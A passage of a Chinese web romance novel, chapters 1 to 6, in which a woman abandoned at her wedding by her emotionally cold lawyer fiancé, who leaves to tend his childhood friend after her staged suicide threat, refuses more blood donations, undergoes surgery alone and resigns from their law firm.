《成全他和青梅后,我却成了白月光》 第1章 青梅在婚礼当天闹自杀 “这婚礼办得可真热闹,你们听说没?霍律师的小青梅在酒店天台闹自杀呢!” 明嫣的心里浮上一股酸涩。 这是秦婉第九十九次闹自杀。 她以为自己已经习惯了。 可今天不一样。 今天是她跟霍寒山的婚礼。 秦婉这一闹,她知道自己又要做出退步。 这婚肯定是结不成了。 她跟霍寒山恋爱五年,秦婉就闹了五年。 每次霍寒山总是第一时间跑去安抚她。 明嫣甚至觉得在这段爱情里,自己才是见不得人的小三。 可霍寒山上次抛下自己去找秦婉时,跟她承诺过——那是最后一次。 她是信了他的‘最后一次’,才有的今天的婚礼。 “她想死就让她去死!你给我打电话有什么用?” 明嫣猛地抬眸,阳台的门没关严,霍寒山低沉冷漠的声音透过房门传了起来—— “跳楼?她不敢!她都闹了多少次自杀了?哪次真见过血?” 末了,她听见霍寒山压低了嗓音又交代了几句,只是声音压得太低,她并没有听清楚。 霍寒山挂断电话,转头时正好对上了明嫣的目光。 明嫣只觉得心脏砰砰地跳——他这次竟然没去找秦婉…… 所以,他没骗自己? 真的是最后一次吗? “这么看着我做什么?马上要举行婚礼了,准备好了吗?”霍寒山的脸上没什么表情。 只是,明嫣依旧很开心。 她知道,霍寒山是天生的情感冷漠症,很多时候他都无法与人共情。 可从青春年少懵懵懂懂的喜欢,到如今献出真心的爱意,她觉得自己终于修成了正果。 她对霍寒山而言,应该是特别的存在。 否则,他怎么会答应娶她? 明嫣笑靥如花地挽住他的胳膊,眉梢眼角全是笑意,“霍寒山,我们终于要结婚了……” 霍寒山依旧面无表情,“嗯,我知道。” 休息室的大门打开—— “现在有请新郎新娘上场。”婚礼司仪洪亮的嗓音瞬间把控全场。 明嫣满脸幸福地挽着霍寒山的胳膊往台上走去。 “让我们恭喜……” 话还没说话,霍寒山的手机铃声突然响了起来。 司仪的脸上闪过一丝尴尬,而台下已经是哄堂大笑。 明嫣脸上的笑意僵住,这个铃声对她来说像梦魇一般,这是秦婉的专属铃声,霍寒山从自己的怀里抽出手,接起了电话,“喂,又怎么了?” 司仪赶紧出来主持大局,尝试着重新调动气氛——他应该是干了这么多年主持,第一次遇见这种事。 可还没等他开口。 “我马上过去。” 霍寒山扔下一句话,迈开大步往台下走去。 一时间,全体哗然。 “不要去……”明嫣提着婚纱追了上去,几乎是满脸哀求,“你说过是最后一次了。” 霍寒山的眉头微皱,似是在冷漠地权衡利弊。 几秒钟后,他冷静地跟她解释,“秦婉真的跳楼了,我得过去看看,你安抚一下宾客,我去去就回。” “霍寒山!”明嫣握着他的手腕不松,“你如果去的话,我就不嫁了!” 霍寒山直接掰开她的手,“那你别后悔。” 明嫣只觉得一颗心碎成了渣,眼泪倏地滴落。 霍寒山看见她的眼泪,心脏不由得微颤了一下,却也知道她这是跟自己妥协了。 像往常一样。 她舍不得自己。 他知道明嫣有多喜欢他,明明是娇滴滴的千金大小姐却不惜跟家里闹掰跟着他在京都打拼。 不管发生什么,她总是站在自己身后。 她最大的愿望就是嫁给他。 而且,之前秦婉闹了很多次,她都帮他收拾残局。 可这次竟然拿‘不嫁’威胁他,显然是真的被逼急了。 只是,秦婉那边是真的出事了。 他不能任由明嫣无理取闹。 霍寒山下意识地动了动唇,可口袋里的手机再次震动,他当即接着电话转身就往外跑去。 一时间,一众宾客直接面面相觑。 这……什么情况? 新郎怎么跑了? 而此时的明嫣抬手擦干了眼泪,强打起精神,转身从已经完全呆愣的司仪手里接过话筒,“各位不好意思,今天的婚礼取消了……” 现场顿时炸了锅。 可明嫣已经顾不了这么多。 她知道,今天一过,自己就是全京都最大的笑话。 人人都知道她明嫣爱惨了霍寒山,放着那么多天之骄子不选,偏偏选了个穷小子跟他一路吃苦打拼,如今终于守得云开见月明,却在婚礼当天被霍寒山抛弃。 而等明嫣追出酒店后,发现酒店门口被堵得水泄不通。 不远处,秦婉已经被霍寒山从气垫上抱了下来,她身上穿着婚纱,哭得眼睛都红了。 “霍寒山,你怎么能扔下我一个人?我们不是说好要一辈子都在一起的吗?” “你别闹了。”霍寒山微微皱眉,脸上依旧是没什么表情。 秦婉直接捧住他的脸,望着他漆黑如点墨的眸,“我偏不!” 明嫣看着秦婉的动作,第一反应是霍寒山会生气。 她年少时也曾捧着他的脸凝望,可他却冷冷地望着她,“我不喜欢有人碰我的脸。” 语气冰冷,眼眸里没有半点儿感情。 可此时的霍寒山却没有任何动作,任由秦婉发泄似的揉他那张俊脸,最后逗得她破涕为笑。 明嫣原本以为霍寒山的情感冷漠症对对所有人都冰冷疏离,可此时此刻,看着他抱着秦婉往救护车上走,才明白自己是多大的一个笑话。 她以为,日复一日,年复一年,总有一天,霍寒山会喜欢自己。 那双清冷漂亮的眼眸里会盛满对她的欢喜和纵容。 可结果—— 她却被狠狠地打了脸。 原来,霍寒山也是有感情的,只不过不是对她罢了。 明嫣笑着笑着就流下了眼泪。 这五年来。 她到底算什么? 明嫣,你真是天真,真是可笑。 这五年原来只是她的大梦一场。 如今梦境碎了。 她也该醒了。 明嫣回到休息室,将身上的婚纱脱下,换上了自己的衣服。 眼下婚礼的混乱带来的风波依旧强烈,所以,当明嫣回到律师所的时候,原本还热闹讨论着的同事们顿时戛然而止。 只不过,明嫣却也没有在意,她一贯脸皮厚,年少时倒追法学系才子霍寒山,她那时已经是全校人的笑话。 她一腔孤勇,一往无前,如今终于撞了头破血流才让她明白,霍寒山是真的不喜欢她。 明嫣回到自己的工位上,从电脑里打印了一份辞职申请,签上自己的名字,就放到了霍寒山办公室的办公桌上。 刚放下,手机就震动了起来。 是霍寒山打来的电话。 “我听说你取消了婚礼?怎么不提前跟我商量?你知不知道这对公司舆论的影响不好?” “不取消婚礼怎么办?你让那么多宾客坐在酒店等你英雄救美回来吗?” 霍寒山沉默了几秒钟,似是没有料到明嫣竟然会跟自己呛声。 他们两个从一开始在一起,都是明嫣跟只小太阳一样围着他叽叽喳喳地转,她好像永远充满活力,脸上永远带着笑。 也从来没跟他发过脾气。 “我的错。”霍寒山永远都是这般理智镇定,“是我考虑欠佳。” 明嫣苦笑一声,她当初还真是初生牛犊不怕虎,为什么以为一个天生情感冷漠的人会爱上她? 明嫣瞥了一眼桌子上的辞职信,“霍寒山,我的辞……” 话还没说完,话筒里就传来娇滴滴的嗓音,“霍寒山,我腰疼,你快点过来给我揉一揉。” “我在忙,先不说了。” 话筒里很快传来‘嘟嘟’的忙音。 第2章 那就让她去死好了 明嫣深吸了一口气,强忍着心头的酸涩,扭头看向落地窗外。 外面阳光灿烂,车水马龙,偌大的京都尽收眼底。 她突然想起来现如今享誉京都的明寒律师事务所,其实从一开始就只有这一间小小的办公室而已。 还是当年她卖了自己名下唯一的房子,帮霍寒山租下来的。 如今,这一整层都是霍寒山的。 她记得租下这间办公室的那天,也是这样一个晴朗的天气。 “律师所就叫明寒好不好?” “叫什么都可以。”霍寒山没什么表情,“你来决定就行。” 明嫣激动地扑进他的怀里,却被他毫不留情地揪着脸从怀里扯了出来,“我不喜欢别人抱我。” 明嫣却依旧笑得没心没肺,一头又扎进他的怀里,“我偏抱。” 她曾经豪情万丈地笑着告诉霍寒山,自己会帮他成为全京都最棒的律师。 霍寒山说无所谓,在他心目中,明嫣开心最重要。 她没有食言。 但他却撒谎了。 明嫣在公司里东西很多。 多到她收拾了半天都没收拾完。 毕竟从公司创立到如今,她是站在霍寒山身后帮他谋划善后。 公司虽然是霍寒山的,却也是她的心血。 一众员工看着明嫣收拾东西,都不由得面面相觑,可谁都不敢上前。 婚礼上发生的事情,他们显然也听说了。 只是,霍寒山是老板,他们还不敢在背后嚼他的舌根,除非是不想干了。 而就在明嫣将所有的东西都收拾完,准备找搬家公司搬走的时候,手机铃声突然响了起来。 是霍寒山的母亲打来的。 明嫣抿了抿唇,摁下了接通键。 “喂,是明小姐吗?”接通后却传来霍寒山母亲的保姆焦急的声音。 “霍先生的电话打不通,他妈妈突然病发被送去医院了,你可以过来一趟吗?” “好,我马上过去。” 等到明嫣赶到医院时,却见霍寒山的母亲坐在病床上吃着保姆给她削的苹果。 见明嫣进来,王梅苍白的脸色浮上几分焦急和愠怒,立马板着脸数落她,“明嫣,你跟寒山是怎么回事儿?结婚这么大的事儿还这么胡闹?婚礼当天取消婚礼,这要是让穿回村得有多丢人?” 明嫣的额头渗着细密的汗珠,她见王梅已经有力气训人了,知道她问题不大,应该只是听了他们取消婚礼的消息一时气怒攻心才会病发。 “阿姨,您先别生气。” “我怎么能不生气?”王梅的眉头紧皱,或许是因为方才话说得急了,胸口上下起伏着,“寒山他性子执拗,想一出是一出,明嫣你怎么不劝着他,还让他这么胡闹?” 明嫣深吸了一口气,耐着性子跟她解释,“我们举行婚礼的时候,秦婉跳楼了。” “什么?”王梅大惊失色,“小婉她没事儿吧?” “没事,霍寒山已经送她去医院了。” 王梅拍了拍胸口,“吓死我了,幸好没事。” 得知了事情的来龙去脉,王梅这才放下心来,连连嘱咐明嫣把取消婚礼的后续问题处理好,别给霍寒山惹麻烦。 折腾了大半天,她的身体虚弱也撑不住,很快就睡着了。 “明小姐,麻烦你跑这一趟了,这边交给我吧,你回去忙吧。”保姆满脸歉意地开口说道。 明嫣看了一眼躺在病床上已经熟睡的王梅,“以后阿姨这边的事情,你不要再给我打电话了,我……” 可还没等她说完,保姆就满脸歉意道,“明小姐,你别生气啊,方才夫人说的话,你别往心里去,她就是这样的脾气,秦婉小姐到底是她看着长大的,她难免偏向她一些,但是她也是真的很喜欢你……” 明嫣的嘴角泛起一丝苦笑,就连保姆都能看得出来王梅更喜欢秦婉一些。 “我没有生阿姨的气,我跟霍寒山已经分手了,以后他的事情与我无关了,阿姨这边的事情你给霍寒山打电话就行。” 明嫣转身,没有再管保姆满脸呆愣的神情。 可她一抬眸,却看见霍寒山跟秦婉就站在不远处…… 明嫣对上霍寒山的目光,那张优越的脸,不管看多少次,她都觉得无可挑剔。 也是。 若不是他这张脸,自己怎么可能一头就扎进去…… “你怎么不抓紧处理取消婚礼的舆论?电话都打我这边了。”霍寒山眉头紧皱地开口道。 明嫣只觉得心中酸涩——霍寒山是真的不喜欢她。 他只想找一个帮他收拾烂摊子的保姆。 而她却巴巴地凑上去,把这当成喜欢自己的证据。 可他们之间明明也有美好的回忆。 一桩桩一件件,都是明嫣最宝贵的记忆,也是她之所以能一条路走到黑的信念。 可如今——该结束了。 “明嫣姐姐,今天真不好意思,破坏了你跟寒山的婚礼,我跟你道歉。” 一旁的秦婉语调没有半点儿诚意地‘背’出这句话,然后挽上了霍寒山的胳膊,声音宛转悠扬,软声道,“霍寒山,你看我都道歉了,你就别跟我生气了……” “嗯。”霍寒山面无表情地点头。 秦婉的脸上立马绽开笑意,满脸得意地斜睨着明嫣。 明嫣冷冷地看着秦婉。 这种不入流的小把戏,秦婉经常会用。 若是换了以前,她定然是要跟秦婉针锋相对一番的。 可如今,她已经没了这番心气儿。 明嫣收回视线,“我还得回公司继续收拾东西,就先回去了。” 而就在她跟霍寒山擦肩而过时,手腕却被人抓住了。 明嫣回眸,正好对上了霍寒山那双漆黑如墨的眼眸。 “我有话跟……” 可还没等他说完,一旁的秦婉突然身子一软,朝着霍寒山倒了过去。 霍寒山眼疾手快地一把抱住她,神情紧张,“你怎么了?” “我……我头好晕,应该是好久没有输血了……” 一提到‘输血’两个字,明嫣就条件反射地瑟缩了一下。 秦婉患有先天性造血障碍,必须每隔一段时间输一次血,而她又是极为稀有的熊猫血…… 而明嫣恰恰就是熊猫血。 年少时不懂事,第一次答应给秦婉输血时,她以为秦婉是霍寒山的表妹,于是自告奋勇。 可那之后,却是为了能让霍寒山开心。 那时的她愚蠢无知,傻到把心上人在乎的人当成自己在乎的人,她足足给秦婉输了九十九次血…… 霍寒山下意识地扭头,“明嫣,你准备一下,一会儿给秦婉输点儿血。” 明嫣在这一刻却只想笑。 她甚至怀疑霍寒山跟自己在一起,不单单是想找一个保姆,还想给秦婉找一个随叫随到的移动血包。 “我不要!”她严词拒绝。 霍寒山不禁皱眉,“秦婉的情况很特殊,如果不马上输血的话,她会死的。” “那就让她去死好了。” 第3章 她真是蠢 霍寒山不由得怔愣了一下。 他从来没想到能从明嫣的嘴里听到这样狠决的话,她对他从来都是千依百顺。 他知道她很怕打针,每次扎针时都抖得厉害,要缓好长时间才恢复…… 可她依旧为了他,给秦婉输了九十九次血。 霍寒山面露犹豫,抬眼看向明嫣,“那就……” “明嫣姐……”可还没等他说完,一旁的秦婉突然开口打断,未语先垂泪,“你……你什么意思?是在咒我死吗?” 明嫣冷冷地看着她,这个女人的恶毒和偏执,演技更是一等一的高,每次都骗得霍寒山团团转。 或许……他是心甘情愿被骗。 明嫣唇角勾起一抹冷笑,“谁爱输血谁输,反正我不会再给你输血了!” 秦婉扭头挽住了霍寒山的胳膊,嗓音里满是委屈,“寒山,你看她,她竟然咒我死,她是希望我也搬去ICU跟我妈一起躺着,她才高兴吗?” 秦婉的妈妈当年为了救霍寒山,在ICU躺了五年,现在还没醒过来。 也正是因为这个,霍寒山对秦婉心怀愧疚,对她也格外偏爱。 可秦婉却利用这点,每每闹事必定要提她妈妈。 而霍寒山也次次纵容。 只是,这次却跟往常不太一样,霍寒山听到秦婉提到她妈妈后,微微皱了皱眉头。 他永远记得五年前,在卡车失控撞过来的瞬间,靑姨猛地将他推开,自己却倒在车轮下,身下血晕染了一片…… 可是明嫣她…… 见他许久未说话,明嫣的心里不由得腾起一丝希望。 哪怕一次。 霍寒山有一次站在她身边也好。 她会觉得自己这么多年的付出是值得的。 他不是不喜欢自己,只是喜欢不了。 “明嫣,再给秦婉输一次血,好不好?我保证是最后一次!”霍寒山抬眸看她,漆黑如墨的眼眸映着她破碎的脸。 升腾起来的希望瞬间凉了个彻底。 明嫣苦笑一声——她真是蠢。 竟然还对他抱有希望。 原来他每次做出的取舍都一样。 而她每次都是他权衡利弊后被放弃的那个…… 秦婉暗暗松了口气,待看向明嫣时,眉梢眼角全是得意,“明嫣姐,看来这次也得麻烦你给我输血,真是太谢谢你了!” 明嫣侧眸看了她一眼。 ——霍寒山对她是真好啊…… 她以前还自作多情地以为霍寒山他学会了慢慢爱人。 可他现在用他一贯的清冷淡漠告诉自己——他这辈子都不会喜欢自己。 明嫣收回视线淡淡地扫了一眼霍寒山,“我说了,我不会给她输血。” 霍寒山微微皱了皱眉头,明嫣眼眸里的视线太过淡漠,让他的心里有些不舒服。 他犹记得自己从第一次见到明嫣时,那时夏阳烂漫,她脸上的笑比阳光更灿烂。 只是,从什么时候,她开始不爱笑了? “怎么办?明嫣姐不给我输血的话,我会死的!”秦婉满脸的惊慌,“霍寒山,你答应过我妈妈,会照顾我的……” 霍寒山声音冷冷的,“我现在立马找其他人给你输血,不会让你死的!” 秦婉瞪大了眼睛,满脸不敢置信地望向霍寒山,“万一找不到怎么办?明嫣都给我输了那么多次了,血型匹配,还没有排异反应,为什么要换人?” 霍寒山没有说话。 秦婉眼睛里立马蓄满了泪水,“好,好,你不管我,我就去找梅姨!” 说着就哭着往病房里跑。 没过一会儿,王梅就被秦婉架了出来。 王梅因为刚睡下没一会儿,这会儿脸上还带着几分疲态。 她也不知道听了秦婉怎么说的,目光掠过明嫣的目光略带了几分责备。 “寒山,你别总是欺负小婉,她妈妈可是为了救你才成了植物人的,现在就是让明嫣给她输点儿血而已,又不是什么大事,况且都输了那么次了,不会有事的。可小婉如果不立马输血的话,她可是会死的!” 霍寒山抿了抿唇,眉头微皱,“妈,我说了会马上找人,而且血库里也有血,不是非得抽明嫣的不可。” “梅姨,你看他,他就知道心疼明嫣,不知道心疼我!”秦婉一句话将明嫣也扯了进来。 王梅有些头疼地皱了皱眉,只是,霍寒山这会儿面无表情,一双眼眸冷厉地骇人,她也知道自己这个儿子认定的事,谁都劝不动。 无法,她只能扭头看向明嫣,“明嫣啊,你给小婉输点儿血好不好?就当阿姨求求你了。” 明嫣笑了笑。 她就知道会是这样! 每次秦婉闹脾气,做出让步的总是她。 而王梅这个未来的婆婆,每次选择的都是让她受委屈。 也是。 从一开始,就是她热脸贴上去的。 她记得她跟王梅第一次见面是五年前的寒假。 那时,她才刚刚上大学。 因为一次晚上回学校太晚,被几个喝了酒的流氓拖进了暗巷,危急时刻一个高高瘦瘦的男生救了她,虽然没看见对方的脸,却看见那人的胸口被流氓用匕首划了一刀。 而她后来出院后,在霍寒山的身上看见了那处刀疤。 她本就对他一见钟情,得知他便是那日救了自己的人,更是欢喜不已。 哪怕他对自己一直冷冷淡淡,可她却越追越上头。 虽然那时她是法学系的系花,却不要面子地倒追他,追得头昏脑涨。 后来的寒假,实在顶不住漫长一个月的假期,便偷偷地背着家里人买了张去他家的火车票,跑去见他。 她自小在城市长大,家境优渥,几乎就没有吃过什么苦。 她一路打听着找到霍寒山的时候,却见他被人死死地摁在地上。 “你这娃儿怎么不听劝呢!都说了山上有狼,你没见孙大娘都被咬了吗?你这会儿上山去找人就是去送死!” “你妈估计也是遇见狼了,我们已经报警了,等警察来了再上山,你别冲动。” 村子里的村民七嘴八舌。 而霍寒山则是被摁在地上,脸上蹭满了土,身上也都是草屑。 可他也就死死地盯着山上,脸上依旧没什么表情,可那眼神像是一只快要发疯的野兽。 “你们放开他!”明嫣直接冲了上去,也不知道从哪儿来的力气,一把就推开了压住霍寒山的两个男人。 “哪儿来的小丫头?你捣什么乱啊?我们这是为他好,这都马上天黑了,这个时候上山,就是去喂狼!” 霍寒山沉默地坐在地上,修长的手指攥紧,却依旧是一言不发。 “你们这么多人呢!趁着天还没黑,大家帮忙上山找一找啊,总比在这儿站着什么都不做强啊!” 众人不由得面面相觑,没人应声。 这要是真遇上了狼,那可是要命的事儿! “不帮忙就别拦着他!”明嫣伸手牵住霍寒山的手,“走,我陪你上山去找阿姨!” 霍寒山坐在地上,仰头看着她。 “我们走!” 明嫣直接将他拉了起来,牵着他的手往山上走去。 这时,天色已经黑了。 “霍寒山,你别担心,我会帮你找到阿姨!”明嫣深吸了一口气,眼睛直勾勾地盯着幽暗危险的前方,像是在不断给自己壮胆,哪怕因为害怕,她心跳剧烈得快要从嗓子眼儿跳出来。 “等找到阿姨,我们一起去学散打、跆拳道,以后没有人再能阻止你去做你想做的事!” 方才霍寒山被狼狈地摁在地上的画面深深地刺激到了明嫣。 她那时才知道,原来一贯孤傲优秀的霍寒山竟然也会有那般无助绝望的时候。 她不想看他那样。 他应该是发着光,让所有人都仰望他优秀的存在。 不得不说,老天还是眷顾他们的。 就在天色快要黑透的时候,他们很幸运地找到了已经因为失血过多濒临昏迷的王梅。 她没有遇见狼,只是摔了一跤,被树枝刺穿了小腿,流了好多血。 霍寒山当即背着她往山下走。 明嫣记得王梅当时对她千恩万谢,一个劲儿地说霍寒山,让他别辜负她这么好的女孩子。 可是如今—— 却是时过境迁。 物是人非。 如今的王梅却在求着自己给别人输血。 第4章 霍寒山,我累了 “阿姨,这里是医院,血库里什么血型都有,没必要非要抽我的血。”明嫣嗓音清冷。 王梅满脸的惆怅犹豫,“可是……” 明嫣却没再看她,而是扭头看向一旁的男人,“霍寒山,辞职信我已经放到你的办公桌上了,东西也都已经收拾完了,你有时间回公司签一下字。” “什么辞职信?”霍寒山的眉头紧皱。 “你这孩子!”王梅一听顿时急了,“你跟我闹什么脾气啊?我又不是这个意思。” 明嫣不以为意地笑了笑,“阿姨您好好休息,注意身体,我还得回去收拾东西,就先走了。” 说着,她没管众人的表情,扭头就往走。 只是,刚刚走进电梯,电梯门堪堪要关上的时候,一双大手伸了进来。 电梯门缓缓而开,明嫣对上了一双黑色眼眸。 明嫣很少在霍寒山的眼眸里看到其他情绪。 唯一的一次就是他被村民们摁在地上时,他那时的眼神,她这辈子都忘不了。 “为什么辞职?”霍寒山追进电梯,目光灼灼地望着明嫣,“因为今天的婚礼?还是因为方才让你输血?” 他伸手握住明嫣的手,“婚礼的事情我跟你道过歉了,输血的事情,我也说了,会另外找人,不会强逼你了,你不要闹了好不好?” 明嫣有些想笑——闹? 也对。 她的确从来没跟她闹过。 不管受了什么委屈,她都自己扛着。 创业初期,霍寒山软硬不吃的性子得罪了不少客户,都是她在后面给他收拾烂摊子,甚至一度喝酒弄伤了胃。 她已经养了这么多年,可是,胃病却还是时不时会犯。 “霍寒山,我累了。” 这五年里,她向他走了九十九步。 但凡他迈出一步,他们都能修得圆满。 是她一厢情愿地以为自己可以成为那个特别的存在。 是她蠢。 蠢到以为自己付出一整颗心就能得到他的爱。 现在,她被伤得鲜血淋漓,已经累了。 不想再追着他跑了。 “你如果累的话,我可以给你开年假休息。”霍寒山皱眉。 明嫣涌上一股无力感。 “霍寒山,我们……” ‘分手’两个字还没说出口,霍寒山的手机突然震动了起来。 手机接通,话筒里便立马传来王梅带着哭腔的嗓音,“寒山,不好了,小婉突然晕倒了,你赶紧回来!” 霍寒山的面色微变,“好,我马上过去。” 等挂断电话,他下意识地看向明嫣,“你先回我住处等我,我有话跟你说,等我忙完立刻过去找你。” 说完也没等明嫣说话,他便头也不回地离开了。 明嫣站在原地深吸了一口气。 原本她就打算去霍寒山那边收拾自己的东西。 那就开诚布公地好好谈一谈,彻底做个了断。 …… 霍寒山的住处就在律师事务所附近。 当初,明嫣跟霍寒山确认关系后,就厚着脸皮要了把钥匙,闲着没事就会过来帮他收拾家做饭。 说是霍寒山的家,倒不如说是明嫣的。 霍寒山对居住环境没什么要求,所以,家里所有的一切都是明嫣一个人弄的。 因为东西太多,等明嫣收拾完之后,太阳都快落山了。 可霍寒山却依旧没有回来。 或许是今天实在太忙的缘故,明嫣突然觉得胃有些难受。 她这才想起来,从中午到现在还没有吃饭。 她连忙进厨房给自己下了碗面条。 只是吃完后,胃疼得反而更厉害了。 明嫣只能去翻医药箱。 虽然常年胃疼,但是,她因为担心霍寒山会心疼内疚,所以,一直都瞒着他,他这里虽然也备着胃药,但不是很多。 只不过,她翻了半天也没找到。 胃疼得越来越厉害。 她又喝了点儿热水,却依旧没什么起色。 明嫣疼得后背都起了一层冷汗,蜷缩在地板上,意识已经有些模糊了。 她忍着痛拨了急救电话,“您好,这里是……” 可电话接通,话筒里却传来秦婉的嗓音,“明嫣,你又打电话干嘛?不是说要辞职吗?我就知道是你在耍手段!” 明嫣这会儿才意识到自己打错电话了,她的紧急联系人一直设置的是霍寒山。 只不过,她现在没工夫跟秦婉打嘴仗,胃里疼得像是着了火,“霍寒山呢?” 秦婉一脸得意道,“我大姨妈来了,肚子疼,寒山他去给我买红糖姜……” 还没等她说完,明嫣已经挂断了电话。 盛夏九月该是一年最热的季节。 许是房间里的空调开得太低,明嫣只觉得冰冷的空气争先恐后钻进肺里,让她的胃疼得犹如翻江倒海。 明嫣捂着胸口,却也不知道心和胃,到底哪个更疼。 很快,冷汗浸透了后背。 她努力看清手机,拨通了119的电话,“您好……金枫公寓3栋1201……急性胃痛……” 等挂断了电话,明嫣疼得几乎有些喘不上气来了。 意识开始模糊前,她听见破门而入的脚步声,耳边是一片混乱的声音。 等到再次睁开眼时,明嫣看见穿着白大褂医生在眼前晃动。 “右下腹反跳痛,是急性阑尾炎,必须马上做手术。” 原来不是胃,是阑尾。 “患者需要紧急手术,抓紧安排家属签字!” 明嫣这会儿疼得已经说不出话来了,见护士跑过来问她要家属的电话,她只能开口问道,“我可以自己签字吗?” “没有家属吗?”护士满脸讶异。 “没有。” 她当年跟着霍寒山只身到京都闯荡,为了跟他在一起,她跟家里闹翻了。 在京都,除了霍寒山,她没有任何亲人。 护士略有些同情地看了她一眼,这才将术前同意书递给她,“那你在这里签字。” 明嫣强忍着疼拿起了笔。 她忽然想起五年前霍寒山阑尾炎发作那次,那时也是她签的字。 一模一样的术前同意书。 当时她紧张得不行,反反复复地读了好几遍,生怕会有什么不可预料的危险发生。 后来,她更是在霍寒山的病床前守了三天三夜…… 而如今—— 她孤单一人。 第5章 她这次别想轻易就哄好他 “明小姐?” 护士的呼唤让她回神。 明嫣强打精神,签上了自己的名字。 很快,明嫣就被推进了手术室。 当麻醉剂推进身体的时候,她觉得黑暗铺天盖地而来。 混沌中似乎有人在喊她的名字。 那声音穿过层层迷雾,裹挟着消毒水与鲜血的气息。 她仿佛看见了十七岁的霍寒山被村民按在地上,少年狼似的眼睛隔着众人与她相望。 她还看见了明寒律师所刚刚创立时,她扑进了霍寒山的怀里,笑得春光明媚。 最后,她看见秦婉穿着婚纱被霍寒山抱在怀里,而她只是沉默地站着,脸上再也没了笑。 再次恢复意识时,明嫣听见监护仪的滴滴声格外清晰。 月光从百叶窗漏进来,是给世间万物都镀了一层清冷的银边。 明嫣盯着那串代表生命体征的波浪线。 麻药褪去的刀口开始苏醒,像是被一把生锈的锯子来回切割着她的小腹。 她摸到枕头下的手机——凌晨三点十七。 明嫣感觉刀口疼得厉害,她摁了好几下镇痛泵,可是镇痛的作用好像不大,她依旧疼得蜷缩起了身体。 眼泪顺着眼角滑落时,她恍恍惚惚地胡思乱想。 原来人在疼到极致时,眼泪真的是生理性的。 翌日清晨。 晨光穿透雾霾爬上窗台,明嫣还在睡梦中时,来电铃声突兀响起。 昨天刀口疼了一晚上,她几乎没怎么睡,到了清晨才迷迷糊糊地睡过去。 电话是霍寒山打来的。 明嫣看着手机屏幕上跳动的名字,恍惚间竟觉得有些陌生。 接通瞬间,霍寒山裹着寒意的声音撞进耳膜,“明嫣,你的辞职信我撕了,九点前到律所,关于恒昌的案子需要交接。” “我……” 可还没等她说话,就听见电话那头传来秦婉娇俏的埋怨,“寒山,我的红糖姜茶你给我放哪儿了?” 喉间涌上腥甜,明嫣猛地按下挂断键,她哑然失笑,低头将那个号码拖进黑名单。 入院第五天。 主治医生来给明嫣拆线,他看着CT报告直皱眉,“慢性阑尾炎拖成坏疽穿孔,小姑娘对自己够狠的。” 明嫣笑了笑,“以后不会了。” 明嫣出院的那天,京都下了一晚上的雨。 空气清新。 路边的树叶被雨水洗得发亮。 出租车驶过明寒律所大楼时,她平静地看了一眼,随后收回了视线。 而此时的明寒律所办公室。 霍寒山站在明亮的落地窗前,俯瞰着整个京都,脚底下是川流不息的车子。 韩晋第n次拨打明嫣的电话,可得到的回应都‘对不起您拨打的用户已关机,请稍后再拨’的提示。 “还是打不通。” 霍寒山的眉头紧皱,脸色阴沉得似是能滴下水来。 韩晋抿了抿唇,作为公司的第三名合伙人,联系不上明嫣,他自然也是心急。 “老霍,这次是怎么回事儿啊?”他拧眉看向霍寒山,“小明嫣这次的气性也太大了吧?这都一周了,以前你们闹过多少次不愉快啊?明嫣哪次不是自己把自己哄好的?按理说不应该啊……” 霍寒山没说话,落地玻璃映着冷厉的脸。 “你说小明嫣她会不会是生病了?”韩晋问道。 生病? 霍寒山的眉头几不可见地皱了皱。 在他印象中,明嫣一直都是健康开朗的,他从来都没见过她生过什么病。 他知道明嫣在京都除了他之外也没什么朋友,若是真生了病…… “我给她打通过电话,她没生病。”霍寒山沉声道。 至少,她没说过她生病了。 毕竟平日里就算是手指被划开一道小口子,明嫣她都会捧着到他跟前让他吹吹的。 若是真的生病了,怎么可能不给他打电话?反而还气性大到把他的手机号拉黑? 韩晋闻言,这才放下心来。 “既然没生病,那怎么连个假都不请?这几天都快乱成一锅粥了……” 说到这里,他却话音一转,“老霍,我说你这次也真是的,竟然在婚礼上把人给晾那儿了,这种事情搁谁那儿不得生气?” 见霍寒山依旧没有什么反应,韩晋不由得翻了个白眼,“算了,估计再过几天小明嫣就自己乐颠颠地回来了……” 霍寒山的唇角紧抿,“律所不养闲人,你去通知一下人事部,明嫣如果明天再不来的话,就直接开除!” 在他印象中,明嫣最怕的就是这个。 毕竟这里是她可以离他最近的地方。 她才舍不得离开。 韩晋勾唇笑了笑,“行,那我把消息散出去,小明嫣如果得了消息,估计明天也就回来了!” 从他认识霍寒山和明嫣那天开始,永远都是明嫣追着霍寒山跑。 霍寒山对她而言就是全世界。 可对霍寒山来说,却完全不是这样。 明嫣是甩也甩不掉的小尾巴,是可有可无的挂件。 一直都是明嫣离不开霍寒山。 如果霍寒山但凡在意明嫣,也绝对做不出来在婚礼当天就将人晾在那儿去救自己小青梅的事! 霍寒山挥了挥手,示意他可以走了。 韩晋倒是也没再多说什么,转身走出了办公室。 霍寒山垂眸扫了一眼手机,上面依旧没有动静,按照往常,明嫣就算不给他打电话,也会天天给他发信息。 而此时跟她的聊天对话框还停留在婚礼那天。 她发了个幸福的表情 o(* ̄▽ ̄*)o ——霍寒山,我是这个世界上最幸福的人! ——我永远爱你! 只是这两条信息,他都没有回复她。 一如平日里都是明嫣给他发十几条信息,他甚至就只回复一句。 回复的内容也是‘嗯’、‘知道了’这种。 可像如今这般,接连几天都没给他发信息,却是破天荒的头一遭。 如此想着,霍寒山不禁有些心烦气躁,直接将手机扔到了一边。 等着吧! 她这次别想轻易就哄好他。 …… 而此时的明嫣回到酒店后,就开始收拾东西。 住院的这几天,她已经找了房产中介将自己名下的公寓挂到网上卖了,因为急着要出手,所以她把价格压得很低。 她上午刚去签了产权转让协议,如今的公寓已经易主。 就在这时,口袋里的手机突然震动了起来。 扫了眼来电显示——是律师所的人事部。 明嫣抿了抿唇,犹豫再三还是接起了电话。 “喂,明嫣姐,你什么时候过来上班啊?霍律师……他说如果你再不来上班的话……” 话筒里的声音顿了一下,“就要开除你了……” 第6章 只要你辞职,以后就别想回来了! “我已经递交辞呈了。” “啊?”人事部的直接愣住了。 好半天才说话,“那……那您……” 明嫣知道,按照正规的辞职流程,递交辞职信后还需要为期半个月的交接工作时间。 她不是个做事有头无尾的人。 既然已经决定离职了,那必要的工作交接还是做的,不能给其他人造成负担。 “我一会儿回公司做一下工作交接。” “好的好的,那我等您过来。” 等挂断了电话,明嫣不由得深吸了一口气。 她如今已经把房子卖了,等再把交接工作处理完,她就可以离开了。 只不过,肚子上的刀口依旧有些隐隐作痛。 歇了好大一会儿,明嫣这才打了辆车去了律所。 